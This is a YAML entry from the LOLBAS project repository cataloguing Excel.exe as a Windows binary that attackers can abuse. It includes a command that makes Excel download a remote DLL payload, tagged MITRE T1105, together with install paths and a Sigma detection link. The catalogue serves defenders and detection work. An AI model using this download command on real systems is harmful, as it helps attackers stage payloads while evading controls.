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https://github.com/LOLBAS-Project/LOLBAS
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23dd0236ae
* Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com>
42 lines
2.0 KiB
YAML
42 lines
2.0 KiB
YAML
---
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Name: Excel.exe
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Description: Microsoft Office binary
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Author: 'Reegun J (OCBC Bank)'
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Created: 2019-07-19
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Commands:
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- Command: Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
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Description: Downloads payload from remote server
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Usecase: It will download a remote payload and place it in the cache folder
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows
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Full_Path:
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- Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
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- Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
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- Path: C:\Program Files\Microsoft Office\Office16\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
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- Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
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- Path: C:\Program Files\Microsoft Office\Office15\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
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- Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
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- Path: C:\Program Files\Microsoft Office\Office14\Excel.exe
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- Path: C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
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- Path: C:\Program Files\Microsoft Office\Office12\Excel.exe
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- Path: C:\Program Files\Microsoft Office\Office12\Excel.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msoffice.yml
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- IOC: Suspicious Office application Internet/network traffic
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Resources:
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- Link: https://twitter.com/reegun21/status/1150032506504151040
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- Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
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Acknowledgement:
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- Person: 'Reegun J (OCBC Bank)'
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Handle: '@reegun21'
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---
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